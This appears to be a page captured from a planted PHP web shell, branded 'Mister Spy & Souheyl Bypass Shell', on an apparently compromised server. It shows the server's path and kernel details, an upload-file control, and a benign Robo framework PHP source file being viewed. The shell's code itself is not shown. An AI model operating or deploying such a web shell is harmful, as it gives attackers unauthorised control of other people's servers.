Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/vendor/consolidation/robo/src/Collection/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/vendor/consolidation/robo/src/Collection/CollectionProcessHook.php

<?php

namespace Robo\Collection;

use Consolidation\AnnotatedCommand\Hooks\ProcessResultInterface;
use Consolidation\AnnotatedCommand\CommandData;
use Robo\Contract\TaskInterface;
use Robo\Result;

/**
 * The collection process hook is added to the annotation command
 * hook manager in Runner::configureContainer(). This hook will be
 * called every time a command runs.  If the command result is a
 * \Robo\Contract\TaskInterface (in particular, \Robo\Collection\Collection),
 * then we run the collection, and return the result.  We ignore results
 * of any other type.
 */
class CollectionProcessHook implements ProcessResultInterface
{
    /**
     * @param \Robo\Contract\TaskInterface|mixed $result
     * @param \Consolidation\AnnotatedCommand\CommandData $commandData
     *
     * @return null|\Robo\Result
     */
    public function process($result, CommandData $commandData)
    {
        if ($result instanceof TaskInterface) {
            try {
                return $result->run();
            } catch (\Exception $e) {
                return Result::fromException($result, $e);
            }
        }
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net